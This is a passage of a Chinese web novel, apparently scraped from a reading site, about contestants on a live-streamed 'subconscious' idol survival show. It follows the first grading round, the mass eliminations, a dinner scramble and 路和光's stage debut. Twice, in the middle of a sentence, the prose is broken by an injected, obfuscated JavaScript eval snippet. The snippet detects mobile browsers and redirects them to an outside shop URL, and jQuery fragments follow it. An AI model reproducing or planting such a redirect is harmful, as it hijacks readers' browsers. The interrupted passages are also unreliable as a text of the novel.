如果问前世的时遥在这个节目里有没有结交到什么朋友,单竞之或许算得上一个。 节目参赛者都没有经纪公司,省去了各家绞尽脑汁、各展神通地为自家选手大营销的场外厮杀,但这不代表矩阵传媒和《潜意识选秀》节目组没有自己想要的练习生。 在潜意识主导的这个所有人一无所知、展露一切的“楚门秀”里,要留下一个人没那么容易,想要弄走一个人,却也没那么难。 尤其是单竞之那种程度的暴躁。 曾经的时遥顶着万众瞩目的严苛审判,在这个世界里披荆斩棘,站到了人群的最高处,却在出道短短几年内,遭遇了非人的身体与精神摧残,甚至出现了严重损耗。 这么想来,当年单竞之没能成功出道,未尝不是一件好事。 他抬起头,又四下看了看。 正式开启直播后,隐形的巡航眼会潜藏在偌大场馆的每个角落,忠实记录每个人的表情神态,再由后台主控室的导播和技术人员实时抓取、切换镜头。 当然,练习生们不知道这是直播,他们只会以为,这是寻常的录播,是可以剪辑、删减、精修的。 路和光所在的组别是二十号,20:00-23:30的第一组。 “第三排只有三个位置了,你们谁往上挪一排?”队友问。 路和光收回遥望对面的目光,嘴里说:“我上去。” 队友客客气气地说:“那辛苦你了。” 去到上一排需要绕到更远的走廊,爬一层,再走回来—— 下一秒,路和光手掌一压桌面,脚下稍稍借力就翻上了四排桌沿。 他坐下,顺势转了个向,面朝外侧继续眺望。 半晌叹了一口气。 “怎么了?” “今天的座位安排得很不好。”路和光说。 “哪里不好?” 路和光:“坐到了第四排,也看不清想看的人。” 队友们:“......” 你到底来这个节目干什么的!大家笑着调侃一句“恋综”,你还真当恋综用啊? “轰隆——!” 就在这时,从场馆的上空传来了某种沉闷的机械运转声。 所有练习生,无论原本在做什么,都停下动作往上看去。 吊挂的大型环形屏,正从演播厅最顶端缓缓降落,最终悬停在了主舞台的正上方。 无数道目光落在其上,嘈杂在那一刻归于寂静。 选秀即将开始的实感重若千钧,带起了许多人不由自主的战栗。 但时遥知道,这还不是结束。 果然,下一秒变故陡生。 整个空间突然亮了。 不仅仅是照亮舞台的光。 原本每层座位前方的桌子,半包裹住人的高背座椅,包括整个演播厅的墙体,被来回踩踏的台阶... 它们不是普通的、常规的材质,在此刻迅速剥离了原本的伪装,密不可分地连接在一起—— 演播厅内部,霎时合成为一整块铺天盖地的全景巨幕。 或站或坐的人们,好似镶嵌在其中。 最后几排的“山顶”位置能够俯瞰全场,自然受到的视觉冲击最强烈,在他们的视野下,一切一览无余—— “卧槽?这也太高科技了吧?!” “为什么不给带手机啊啊啊我想拍!” “像不像我们已经上电视了?” “看对面!大家像不像一整面‘商品展示墙’?自带背景的那种?” 时遥周围的惊呼和感叹此起彼伏,不少人在震撼地揉搓着自己手臂上的鸡皮疙瘩,面面相觑,满眼都是憧憬和喜悦。 主舞台正前方的地面向着两侧展开,一整排导师席位,连人带椅,从地面缓缓升起。 悬挂的环形大屏,连带着巨型屏幕墙上,同步切了五位导师的近景。 广播声毫无预兆地响起: ——“初评级导师团就位。” 他们或表情从容、冷淡自持,或面带笑容、频频招手,360度环绕的庞大墙面上,作为这一轮“命运决定者”的上位者气势,亦铺天盖地地压下。 “唱跳赛程第一轮比拼,初评级,第一场,马上开始。” 没有寒暄客套,也没有导师介绍。 “有请第一组练习生登场。” 10. 第 10 章 舞台的乐声震耳欲聋。 正在表演的歌曲,是当前大热的男团最新发布的单曲《My Zone》。 气息破碎,音准如山体滑坡,伴随着漏字、错词,以及大幅度缩水的动作。 这就是来自北雾区的第一组的表演。 许多练习生已经皱起了眉,毫无掩饰地露出各种表情,甚至有人完全侧过身凑向隔壁座位,急切地窃窃私语、交头接耳。 肉眼看不见的巡航眼四处游荡,忠实地记录一切。 从视觉上来说,时遥要接收的要素比他们多太多太多了。 无缝同步的屏幕墙,和前方的中央环形屏,人头攒动的练习生们,舞台上登场的第一组,还有...正在肆无忌惮刷屏的弹幕。 冲着节目正式开播而来的人比想象中还要多。 【不行了,好丢人!】 【我发现练习生的反应比舞台好看~】 【节目组太懂观众想看什么了,刚才那镜头扫过一整排,所有人的表情都...啧啧啧!】 【简直是演我“看到同场考试的考生发挥稀烂”。】 【简直怀疑节目组把这组放第一个,就是想走个低开高走路线,顺带用这种舞台吸引大家看小丑咯!】 “看小丑”三个字确实可以概括许多。 节目组说是随机安排顺序,一切看运气,可是能把时遥这种万众瞩目的选手安排在第三天的黄金时段,可不是一句“运气使然”就能概括。 被分配到第一组的练习生,是顶着多大的压力上台,可想而知。 尤其是,巨幅屏幕放大了每个细节。 站在舞台正中的是目前的第一组,共四人,他们刚刚表演完自己的舞台,正接受导师团的评价。 在这样全息的世界里,大屏幕不会成为扭曲容貌,使其变形的哈哈镜,长相不会产生任何形变,但不可避免地,每一处细节都被无限放大。 无论是皮肤的细节,微表情的变化,视线的游移...纤毫毕露。 并且,表演结束后张大嘴呼吸的表情都被等比放大,尽显狼狈狰狞。 发抖。 每个人都在发抖。 站在这样的舞台中央,“漏斗”的底部,台阶层层叠叠,有如悬崖峭壁一路往上攀升。 而高坐于云端之上的练习生们,从各个高度由上而下地看过来,砸在身上的目光,让人瞬间产生了自己渺小如尘埃的窒息感。 尤其是当所有关注的视线都落在自己身上,前后左右通天彻地的全息大屏里,全都是几十米高的自己。 模拟出的舞台灯光强势烘烤着,将人牢牢笼罩,无处遁形。 汗如雨下。 两股战战。 节目的五位导师,无一例外是练习生们有所耳闻的业界大拿。 此时,唱跳环节的发起人,PD傅延正在说话。 他是圈内知名唱作人,年龄四十出头,一张瘦削的脸,容貌可亲。 在刚才镜头切换到导师团身上时,他是唯一一个频频挥手,丝毫不摆架子的,脸上始终挂着完美的职业假笑。 “很紧张吗?” “...有,有点。” “别紧张,我也有点紧张。”傅延摆了摆手,“这种环境,这种氛围,我还是平生第一次见,相信你们也是——但我不需要表演,你们还要顶着压力,从这个角度来看,你们比我厉害。” 这话说得漂亮,听他说完这些,台上的第一组练习生明显都放松了几分。 上辈子,单竞之很不喜欢傅延,说他是个“笑面虎”。 时遥对傅延倒没什么特别的想法。 对于他这种自带光环和人气的练习生,傅延绝对不会刻意刁难,他也就没必要产生额外的情绪波动。 毕竟选秀全程,导师一直在看弹幕,且高度依赖观众的实时反馈,来不断调整自己的判断。 观众在节目前期的喜好还没受到“粉籍”的影响,表现得很诚实: 外形占比百分之五十,实力百分之三十,剩下的百分之二十包括性格、眼缘和其他等等。 导师在这档选秀里不是没有话语权,但占比远不如其他,一档从宣传开始就摆明让观众参与“造神”的节目,会更注重大众的想法。 五名导师看着煞有介事,还时不时低头查看选手资料,提出建议和意见,实际上每个人面前,都悬着一面旁人看不见的屏幕,上面的内容,估计和时遥现在所看到的所差无几。 “你们刚才哪怕动作和歌词都乱了,也没有放弃,还是死死撑着,把曲子全部做完,完成度很好!老师们都看到了你们的韧性。” 时遥看了看弹幕。 【该说不说要是我估计得崩溃在现场,能做完也算ok了!】 “但是你们目前的能力,确实还撑不起舞台。” 【基本功这么烂,舞台做不好也很正常。】 “以你们的状态,老师觉得你们可能没办法在这个节目走下去了...很遗憾。” 【规则就是规则,做不好还是得淘汰!给剩下的人留点名额~】 一款非常顺应民意,传达观众心声并佐以适当美化的导师。 “辛苦了,下台去好好休息吧!你们还很年轻,未来的路还很长!” 【拜拜了您嘞!】 看着第一组明明都已经全军覆没,却仍感恩戴德地鞠躬离开,时遥暗自耸了耸肩。 当初的单竞之或许以敏锐的“动物性”,捕捉到了违和感,不过论迹不论心,这样的体面人PD没什么不好,只要自己的大众舆论没有翻车,傅延这头也永远会对他另眼相待。 接下来的录制进行得还算丝滑。 第一组这样的舞台不是没有,可有了前车之鉴,大家也没那么瞠目结舌,逐渐变得习以为常起来。 也有表现看着还不错的。 譬如现在的第七组,恰好是西海区练习生。 他们的表演属于“二拖二”,只是前一个“二”没能拉得动后面的“二”。 单论个人表现,还算可圈可点,至少没有差到一言难尽。 【右二的那个是不是在除名投票榜上待着呢?】 【回前面,是的,不过除名支持率还没过半,未必会走。】 【记得这哥们儿是在网上发布攻击性言论来着?】 【后一个皮肤好烂,公式照完全没发现!说好的不磨皮呢?】 “这一组起码能留下来一半吧!舞台效果不太行,但中间的两个哥们儿实力很不错啊。” 时遥隔壁的练习生刻意用很大的声音和旁边的人说话,坐久了想找人聊天的想法,和试图通过做出相应反应来获得镜头的欲望,这两种心思兼而有之。 “他俩都住我隔壁宿舍,唱跳实力还可以的!” “就是就是,也算是给我们西海区争光。” 话音刚落,宣判落下,四人全部被淘汰。 刚才还在热议的练习生二人组都迅速闭上了嘴,脸上露出一股生怕和导师意见不合从而遭遇恶剪的惊恐神情。 这里可不是常规选秀,获得A至D甚至F等级后,还能靠舞台,靠观众缘,靠剧本和人设、cp等救回来。 淘汰等于走人,400人删减到280人,接近120人的离开不是个小数字。 逐渐的,大家都发现了导师选择淘汰人的规律: ——不是所有实力差的人都会在初评级惜败。 同样,不是准备充分、实力高强的人,就一定能通关。 第十九组练习生来自北雾区,在登台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600718|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,屏幕上依次显示出他们的名字。 时遥在其中迅速捕捉到了一个最熟悉的: 谷耽乐。 瘦瘦窄窄的一长条,清清秀秀的一个人,左眼角一颗泪痣点缀,也丝毫没给这张清纯到稍显稚嫩的脸蛋增添几分所谓的“魅惑”。 他的队友显然都是很爱出风头的类型,争先恐后地回答着导师的问题,恨不得十分钟里全程对着话筒夸夸其谈。 “谷...耽乐,对吧?” 谷耽乐点了点头,从不情愿的队友手里接过话筒。 “你对你自己的表现有什么要说的吗?” 谷耽乐:“#!%&*$…” 即使对着话筒,声音也小得几乎听不清。 “介意再重新说一遍吗?” 弹幕里的【可爱】,【不争不抢加好感】,【vocal很棒的帅哥】满屏,显然不少观众都已经被萌化了,而导师们,自然也顺应着弹幕,纷纷露出了宠溺的微笑。 谷耽乐腼腆地笑了笑:“我觉得我正常发挥出了水平,还蛮开心的。” 他声音小,可吐字清晰流畅、不卑不亢,加上刚才表演发挥正常,甚至称得上是目前登台所有人中实力最强,台风最稳的一位。 不过也不意外,谷耽乐是时遥前世的队友之一,出道排名3位。 优点,只要有吃的,抗压能力极强。 时遥对他最深的印象,是自己从医院的病床悠悠转醒,看见他坐在自己的床头。 那天阳光正好,微风阵阵,他一身白衣,看起来像种在窗边的一株鲜嫩欲滴的百合花,正专心致志地... 啃无骨酸辣鸡爪。 这热量不算太高的食物,是谷耽乐的最爱,搭配里面的笋尖、木耳,他能一口气吃上五盒。 不过就算吃了五盒炸鸡,于他而言区别也不大,谷耽乐天生吃不胖,也不水肿,是当明星艺人的一颗好苗子。 一只手突兀地从后方伸了出来,贴着时遥的颈侧,再顺着肩线滑下去,轻轻地敲了敲他面前的桌子。 “咄咄。” 胸膛贴向了后背,却没有完全相触,刻意维持了若有若无的距离。 路和光向下俯身,额发几乎擦过时遥耳廓。 他的声音幽幽响起:“你在看什么呢?我站在后面看了你好几分钟,你都完全没意识到我的存在。” 干燥的,馥郁的花甜香,因离得足够近,总觉得还能嗅到那底下燃尽的,草木的苦涩味道,不带半点脂粉气地蔓延过呼吸。 时遥真的没注意到他的到来。 他下意识地看了看弹幕,目前的巡航眼应当不在附近,弹幕的关注重点还在舞台中间的谷耽乐身上。 “你怎么这种时间跑过来?”他问。 路和光:“这话说的,我这场又不上台,完全是免费的。” 乱玩了个梗之后,他扭头指了指后方,在光芒炫目的投影下,那里有一道半开的门,“两个区中间的台阶后都有个门,而且还没锁,一推就进。” 时遥扭头看了一眼。 该说这全息世界其他设计虽精妙宏大,防盗方面却很疏忽吗?那扇门现在还虚掩着,一副大大咧咧邀请人进来坐坐的气场。 “你...”他反应过来,欲言又止。 “规定里可没写,‘东森区练习生不允许在初评级录制过程中到西海区的地盘’啊。”路和光理直气壮地说。 这话术,隐约的有点耳熟,时遥自己好似也用过。 他这么想着,用胳膊肘抵了一下路和光的侧腰,力度不算大,还有点痒。 于是路和光愉快地笑了起来。 他低低的笑声里,时遥无奈地说:“你笑什么...我让你站直了说话,你发胶硬邦邦的,戳到我耳朵了。” 11. 第 11 章 路和光自然也顶着满脑袋的发胶。 节目组同样铆足了劲往他脑袋上折腾,尤其是为了固定他前额那几绺碎发,煞费苦心地让它们一直留在该在的地方。 从视觉效果来看,这种粉圈很喜欢吐槽“蟑螂须须”的造型,硬是被路和光支棱出了落拓不羁的潇洒,但... 对本人和周围的人来说,硬度和气味都是种困扰,刚才要不是路和光离得足够近,他身上标志性的气味都会被遮个大半。 路和光抽身离开。 然后——在时遥旁边坐了下来。 每排座椅的数目是固定的,他居然自带了个粉红色的塑料板凳。 刚才进来的时候,时遥在走廊尽头看到过,应当是留给工作人员的,却没想到被他薅来了一个。 这板凳不高,以路和光的身高就更矮,人坐在上边,两条过长的腿有些憋屈地折起来,时遥坐在判官椅一般的黑色高背椅里,他就这么顺势凭借对比,把自己更加蜷缩成一个小可怜。 目睹了他这一系列动作的时遥:“......” 不是,好像是自己做了什么十恶不赦的事才导致的一样。 某种角度来说,这人的确是个很适合当艺人的,至少擅长卖惨这点无可挑剔。 好在路和光坐下之后,目光就自然地望向了舞台和大屏的方向,现在已经进入了关键的宣布淘汰阶段。 谷耽乐晋级,其余全军覆没,三个人看起来情绪颇为失控,其中一个一把夺过谷耽乐手里的话筒,就要对导师们口出狂言。 谷耽乐试图伸手阻挡,但看起来只是做了几个徒劳的假动作,并没有很认真。 “那是谷耽乐,是吧?”路和光问。 “你认识他?” “我初评级的队友和他高中在全国篮球比赛里打过照面,提过这个人。” “后来呢?” “后来两边都被猪队友坑害,还没对上就全都打道回府。”路和光说。 时遥没什么诚意地表示:“那真遗憾。” 【!!!你们看到了吗?!】 【什么什么?什么事?】 【最后一排!!!刚才西海区最后一排时遥隔壁是不是坐着个什么人?】 【到底是谁这对我很重要,这个cp我必须嗑上!】 【急死我了!怎么就在那个瞬间掐直播啊!节目组你对我很坏!】 然而,18:30,一秒不多一秒不少,节目组非常尽忠职守地掐断了第一天的第一场直播。 导师们也如同大学里来去自由、下了课就跑的教授们,搭乘着轰隆隆的坐席重新沉降,让人不由感叹,这个导师做的确实很轻松,评级看弹幕,进出靠机械。 大屏暗下。 那些装模作样哄骗练习生的拍摄设备关闭,工作人员也纷纷退场,在大舞台两侧的门内进进出出。 环境瞬间解压,而后,有种狼狈的松弛感在偌大的空间内蔓延,细碎的人声逐步在每个角落复苏,渐渐变大。 寻找熟人需要上下台阶、翻山越岭,但大家属实憋了一肚子话要说。 “你算过第一场淘汰了多少个了吗?”前排的练习生大声问同伴。 “25个。”他的同伴回答,“第一场上台了19组,63个人。” 两个人都不说话了,表情里各有各的“兔死狐悲”。 这淘汰率极其吓人,甚至还有好几组全员OUT,而为了卡准时间,不是所有人都有额外展示,并为自己争取机会的时间。 路和光突然说:“我是第二场的第一组。” 时遥:“知道了,我会替你鼓掌的。” 路和光:“你都不担心我被淘汰的吗?这淘汰率这么高,万一我被淘汰了可怎么办?” 时遥心道,你就算进节目之前一天都没训练过,凭你的人气也不太可能在这一轮就被导师出局。 此时的他还不知道,自己的这个想法居然会成为某种意义上的“神预言”。 “今天进门的时候,每个人都要扫描姓名牌里的身份芯片,再人脸识别来核验。”见时遥不回答,路和光非常顺畅地另起了一个话题。 时遥:“嗯。” 路和光:“要充满庆幸地感谢我吗?如果不是我及时捡到,你现在可能会被卡在门外哦。” 时遥说:“今天我又不上台,补办一张只需要三天,只要能赶上最后一场就够了。” 路和光:“你怎么知道得这么仔细,像你经历过一样...就不能哄我一下嘛。” 时遥不想接茬,他本来确实有件好奇的事,本打算初评级全部结束再说,现在既然对方找上门来,那他就顺带提一嘴。 “我正好也有个问题问你。”他说。 “请说。”路和光比了个“请”的手势。 时遥:“之前填写的调查问卷,最喜欢和最讨厌的练习生,你都写了谁?” 他明知故问。 路和光还在笑,气氛却骤然紧缩。 “你很想知道?”他问。 时遥:“你说。” 路和光:“这么想知道我喜欢谁?” 时遥懒得管他的插科打诨。 路和光交握起手指,将其撑在自己的下巴上,微微歪着脑袋:“那作为交换,你能不能先告诉我,你写的都是谁?” 时遥不假思索地:“最喜欢写的是你,最讨厌写的是张皓文。好了,轮到你了。” 没想到他坦白得如此迅速,这记毫无掩饰,却并没让人得到满足感的直球,砸得路和光明显愣了一下,就连撑着下巴的手指,都不自觉地压紧了几分。 但很快,他就挂起了毫无嫌隙的从容:“那我们双向奔赴了——最喜欢的人,我写的也是你。” 时遥步步紧逼:“讨厌的人呢?” “...还是你。” “我很好奇,喜欢和讨厌的人都写我是什么原因?” “承认吧你就是很在意。” 时遥敷衍地:“嗯嗯嗯对,我特别在意你为什么对我又爱又恨,在意得快死了——为什么?” 路和光两手一摊:“当然是因为心里只有你,哪怕连‘讨厌’的名单也要写你,不想从我自己笔下写出任何一个除你之外的人啊。” 时遥:“你认真的?” 路和光:“嗯呐。” 时遥:“呵。” “你不信?” “我有什么信的理由吗?你看我像是个傻子吗?” 诚然,潜意识世界剥夺了练习生的理智,击碎了他们的面具,使其在特定的情形下无法掩饰地爆发出最真实的本能反应,可时遥知道,总有极稀少的一些人,即使身体和情绪都被逼到了绝境,依旧能用“表意识”说谎话。 ——比如太想隐藏什么事,执念超越了潜意识的本能。 可是,只是这么一个理由,需要藏得那么深吗? 联想起对方从节目伊始就过于关注自己的自来熟行为、说不清道不明的暧昧态度、现实世界堪称“不欢而散”的第一次碰面,还有前世没出现的蹊跷... 时遥蹙眉,问出了他压在心底的疑问:“路和光,我们以前见过吗?” 如果见过,那么以上种种也许能够得到解释。 路和光的表情顿了一下。 时遥从他脸上真的找到了那种公式照里呈现出的、货真价实的迷茫,只是很短暂的一瞬。 “可能吧,说不定...”他短暂地笑了一下,“要不然你告诉我?” 四周嘈杂,只有他们这一隅,莫名地安静了下来。 时遥没立刻接话,他直勾勾看着路和光,用全新的、刀锋般锐利的审视眼神打量着对方。 路和光没有像现实世界那样刻意回避眼神,他的眸光如深潭,呈现出极度专注的静止,让人窥探不出真实想法。 ——在时遥打量他的时候,他似乎也在不着痕迹地观察时遥的反应。 ...... 半晌,时遥轻轻叹了一口气。 他百无聊赖地率先抽离了视线,举起手遥遥往前一指: “前面发晚饭了,要不你去拿吧。”顿了很微妙的一秒,时遥礼貌地补充了一句,“谢了。” 路和光:“?” 他失笑,却只是抬起手。 “啪。” 他的指尖轻轻弹了一下时遥左耳垂坠着的那枚小小的银色金属环,金属环左右晃动,连接着的那一小块敏感的皮肤也跟着颤了颤。 “遵命。”路和光说。 他伸了个懒腰,兀自往台阶下方去了,在他身后,时遥揉了揉自己的耳朵,那里泛着后知后觉的痒。 两场直播中间的六点半到八点,这一个半小时是留给练习生们吃晚饭的时间。 盒饭由食堂倾情提供,有两种风味: 一种是滑蛋碎、牛肉片、几片西葫芦和小份白米饭,另一种则是煮得软绵绵的小份红薯块、半个水煮蛋和清炒虾仁。 各自配了一根香蕉。 参加节目的选手都是食欲旺盛的年轻人,这两份盒饭本来就分量少得可怜,虽都是少油少盐的配方,不过两份一端出来,必然是第二份更让人没有世俗的欲望。 从时遥所在的高度,只能看清最底层分发盒饭的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600719|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员,一车一车地拉来了给大家准备的食物。 早就饿得前胸贴后背的男孩们“嗷”地一声冲了上去,只一眨眼的功夫,就在下方形成了拥堵。 原本还算是秩序井然,慢慢的,气氛变得焦灼了起来。 显然有一侧的盒饭菜品更受欢迎,在那一边的人出奇的多,食堂准备的盒饭数量基本是对半分,必定有后排的人吃不到想要的。 而排在后边的人,又往往是今天座位靠后的那一批。 于是,前方的人站不住,后面的人拼了命往前挤,许多双手往前伸出,伴随着大声的“给我”,“先给我”,“你插队”等叫喊,还夹杂着不同地区的方言骂街,逐渐升级成肢体小规模的碰撞。 现场弥漫着即将发生踩踏事故的氛围。 这时候不开直播,真是可惜了。 时遥这样冷淡地想着。 倏地—— 空气中传来刺耳的喇叭通电声。 “滋——” “咳咳咳。” 诡异的清嗓子声,吸引了时遥的注意力。 “喂喂?能听到吗?” 紧接着是测音,寥寥数字像被笼罩在厚重的塑料壳中,略带空旷的回声,再加上麦克风电流音,听起来略显失真。 时遥莫名地回忆起自己初高中时期,放学回家经过的那条充满了烟火气的小路。 水果摊上的喇叭也永远循环着类似“新鲜砂糖橘,五块两斤”的吆喝,一路伴随他回家,那声音在身后紧紧跟随,吵闹却亲切。 紧接着,他听到—— “时遥!你想要哪一份盒饭?” “你想要我左手边的这个白盒子,还是要我右手边的这个蓝盒子,又或者都想要?” 时遥:“......” 路和光这么好的一把嗓子,硬生生给他扩出了魔音穿耳的气势。 前排的脑袋一个接一个地向后转,不少人嘴里还嚼着饭菜,目光已经在兴致勃勃地左右搜寻当事人时遥的存在,尤其是东森西海两区,或多或少听过关于二人“单身宣告”的传闻。 虽不明所以,但牵扯目前人气投票的一二位,不妨碍他们看热闹。 时遥... 时遥无语地冲下方挥了挥手,不管路和光能不能看见,他只希望对方赶紧把那不知道从哪儿摸出来的扰民喇叭关了。 他应该想到的,刚才自己略占上风,路和光这种性格当然要反将一军。 路和光很快回来了。 他们在第十排,去得晚,可路和光却一手端着一份不同的盒饭。 他把其中一份放在时遥面前,又把筷子、勺子,连带一根香蕉,一个接一个放在桌上。 时遥低头。 盯—— 一个用它们拼得不伦不类的一字死鱼眼,吐着舌头的表情包,和他就这样莫名对视了。 “男左女右,所以我给了你右手边的蓝盒子。”路和光笑眯眯地说。 时遥不理会他的口花花占便宜。 他掀开盖子,看见路和光帮他拿的菜品是滑蛋牛肉,也是下方练习生急着哄抢,差点没打起来的那一份。 “你太瘦了,又不用上台,多吃点也没事。”路和光说着,又打开了自己的。 红薯块和半个鸡蛋旁边,铺了一层油星子都没几点的虾仁,素得让人毫无胃口。 路和光八点一开场就要登台跳舞,选的这份对腹部的轻盈感更友好,同时,也给时遥拿了更抢手的那份。 时遥承他的情,一边掰开筷子,一边再次道了谢。 路和光倒不以为意:“这是上次你救的那个小子让出来的,他胆子小了点,弱了点,也算知恩图报。” 时遥问:“余斐?” 路和光点了个头。 提起余斐,时遥想到了试点直播的最后一场,路和光将张皓文一脚踢进沼泽里的新闻。 幸亏后者因霸凌余斐早已身败名裂,无论他出于什么动机,都赢得了一致的拍手叫好。 时遥:“......” 突然有点想回去看一下那个场景,应该会很有趣。 * 用餐结束,练习生各自稍作整理,调整妆造,第二场直播准时拉开序幕。 虽然全民选秀的氛围狂热,但晚上八点这样的黄金时间,观看人数自然远超前一场。 路和光组一共四人。 其中居然有那对东森区食堂用餐时,在时遥身边因不能吃西红柿炒鸡蛋而纠缠不休的“西红柿”双人组。 他们是一对混血的异卵双胞胎。 长得并不怎么相像。 12.第 12 章 前世,节目组与观众齐心协力,好歹是选出了十个最符合他们所谓的“真善美”标准的练习生。 但作为开创了潜意识+直播选秀先河的节目,若干年后依旧被人津津乐道,而后也没有任何一档类似的节目超出过它的热度。 节目的花名更是变了又变。 其中有一个极具悲情色彩的: “无”。 无人生还的“无”。 归根结底,这选秀的规则和赛制与任何传统节目都不尽相同,大部分练习生在签订合约时,往往低估了节目的残忍: 赛后,有人推卸责任,拒绝为潜意识的恶买单;有人极力否认,甚至厌恶自我;有人记忆错乱,拼凑不出完整的自己;还有人看清了献祭隐私的代价,陷入了无尽的煎熬... 最后,有人达成了和解,有人却彻底疯了—— 譬如现在正站在舞台正中的,双胞胎兄弟中的一位。 “请做一下自我介绍。”傅延微笑着说。 “我叫楚光风。”左边的哥哥说。 “我是楚霁月。”右边的弟弟说。 镜头给到这对双胞胎兄弟。 他们拥有明显的混血外貌特征,但毕竟是异卵双生,容貌上很容易区分开,气质更是截然不同。 一个眼睛习惯性垂落,看起来内敛忧郁,另一个则敞亮亮迎着光,笑得明媚爽朗。 练习生人数繁多,混血或者外籍、留学生数量也不少,他们是其中最突出的,目前一个排在十三位,一个是十四位。 时遥隔壁的练习生又开始无意义地跨服闲聊,一个信誓旦旦地给别人科普:“你知道吗?我大学选了社交语言学这门课,有个冷知识,‘我叫’和‘我是’在做自我介绍的时候是有区别的。” “有什么区别?” “‘我叫’偏向于用姓名贴了个标签,‘我是’代表一种身份认同,所以前一个会显得温和、谦逊,后一个就会更有自信。” 另一个人恍然大悟,做了个合格的捧哏:“哦!原来如此!有道理啊!” “下一位选手?”傅延的声音恰好再次响起。 “路和光。” 屏幕里的人兀自说出名字,随即举起胳膊,向着四面八方随意地打了招呼。 在他招手的同时,不知道哪一束大灯刚好转了过来,不偏不倚地正面晃了他一下。 路和光本能地眯了眯眼睛,多情的,带弧的眼尾,同眉峰一同下压成两道凌厉的薄刃。 极短暂的一秒。 但时遥敏锐地从中抿出了几分,被灯光无征兆“侵犯”后的不耐。 巨幕数十倍地放大了这种变化,光线穿透过那一对往日里含情多水的琥珀色瞳孔,在浓睫投下的暗影里,如碎玻璃一般,倏然折闪出一种刺眼的、非人的凶悍。 那瞬间,得以窥见路和光的性格底色。 他转了转手腕,回忆起对方掌心茧的粗糙。 与此同时,隔壁两人: “那这是什么类型?” “呃,狂妄、冷漠、社恐...?三选一?” 时遥听着,嘴角忍不住勾了勾。 在初次亮相的时间点,给观众留下怎样的初印象非常重要。 这种节目里慕强的人群远比想象中多。 实力极强,外貌极出众,能压下大众对他态度的不满,约等于手握天才剧本,态度恶劣一些,会被相当一部分人解读为“游刃有余”,“有这么做的资本”,容忍阈值增高。 反之,表现平平,划水或失误,那就是“没实力还不尊重舞台”,精准踩中大部分人的雷区,全看他这张帅脸能否力挽狂澜,留下另一批颜控的心。 当然,还有一种可能... 时遥的目光再次落在路和光身上。 他单手握着话筒,身上穿了件面料硬挺的修身纯黑高领,领口恰好没过喉结,搭配同色西装长裤与切尔西靴,更显得肩线宽阔,肌肉精悍,是极具视觉冲击力的倒三角。 越简洁的服装,越“衣顺人”,越能凸显身材。 【我P图都不敢P出这种身材来!】 【这辈子见过的穿黑高领最完美的男人。】 【这哥真不是模特出身?】 【解析一下能把这种衣服穿好看的基础条件:个子高,头小,脸小,脖子长,肩宽,有肌肉,腿长!最重要的,脸帅。】 【我本来计划长出这身材的!】 现场亦是一阵混乱的骚动。 讨论心理学议题的练习生默默地闭上了嘴。 有人下意识地低下头,摸了摸胸肌腹肌,又捏了捏大腿,雄竞的念头刚刚升起,又被现实直接浇灭。 ——这人看起来马上就要装个大的了。 谁能想到他十五分钟前还窝在粉色的塑料凳子上,一口一个虾仁嚼得津津有味。 乐声响起。 粗暴的电吉他音霎时飙出,鼓点沉重地砸落。 这组四人选择的歌曲名叫《禁言》,从曲名上就透出一股高自尊的狂妄,以高潮部分将手指抵在唇前的“噤声”舞为亮点,在短视频平台被誉为“抖S神曲”。 舞台开始。 翻跟头、砸地板的是哥哥楚光风,定调、平稳出声的是弟弟楚霁月。 只一个照面的功夫,从弹幕的夸赞与现场的反应,已经能确保这对双胞胎兄弟的晋级。 巡航眼在时遥周围绕了半圈,导播迅速给了他一个近景反应。 【帅我一大跳!】 【第一场几乎没看到时遥,真是一日不见如隔三秋。】 【导播加鸡腿!你怎么知道我想看时遥对他老公的反应?能不能未来放个完整版?】 时遥瞥见了最后一条的内容。 还是没忍住因“他老公”三个字而搓了搓手臂。 他对嗑cp的肉麻用语没什么负面想法,但确实震撼于他们把他和路和光在短短数天内强绑定的速度。 ...... 这组的水平很高。 听众不需要时刻替他们捏一把汗,能够完整、沉浸式地欣赏这个舞台。 弹幕的好评一直没断过。 “卧槽什么人在唱歌?”隔壁那个戏一直很多的练习生惊愕出声。 时遥则再次摁了摁耳朵,因为这猝不及防下钻入的声线。 路和光在副歌到来之前,唱了最后两句歌词: “闭上眼,管好你的呼吸。” “把灯关了,再来听我的神谕。” 仅仅二十个字,掀起一阵狂热反应。 【谁允许这种声音的男的在我耳边唱“把灯关了”的?是想让我想歪吗?】 【我只恨直播不能往回拉进度条!】 【#路和光声音#已经预定全平台热搜了吧?】 路和光的嗓音条件确实优越。 不是嗓子里塞了一团棉花的浑浊厚重,不带含混鼻音,低沉却清冽。 表演时期的看台是不可能完全寂静的,总有些练习生会自作主张做出夸张的反应,以求镜头带到自己,刷一波脸熟。 但路和光开口后,低音炮轰鸣与侵略性拉满的声压,制造出了从四面八方包围上来的360度立体声感。 杂音骤消,晕碳的,精力差的,昏昏欲睡的人全都被惊醒了。 正是这种过分优越的声音条件让容错率变高,许多人选择性忽略了路和光的技术问题。 高潮已至。 但期待已久的“唇前比手指”killing part,完全抵不过路和光刚才的那两声,这从弹幕的热切讨论主题可见一斑。 当然,其中还夹杂着【节目组你镜头为什么不给时遥了!你坏事做尽!】的抗议。 再然后,是rap。 